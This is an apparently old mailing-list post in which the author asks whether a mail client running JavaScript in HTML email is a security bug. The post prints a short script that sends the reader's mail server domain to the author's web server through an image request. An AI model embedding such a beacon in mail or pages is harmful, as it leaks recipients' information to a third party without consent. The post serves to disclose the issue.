Security bug?

[Henrik Gemal]

I'm not sure if this is a bug or not but, if you activate javascript for
mail and news and recieve a html mail (text/html) with the following in:

<script>
document.writeln('<img src="http://gemal.dk/' + document.domain + '">');

</script>

I can detect your mail server name in my error log.
Is this a bug or just a feature of having javascript activated in mail
and news?

--
Henrik Gemal, [EMAIL PROTECTED]
Webmail Evangelist
Tele Danmark Internet

http://gemal.dk/card/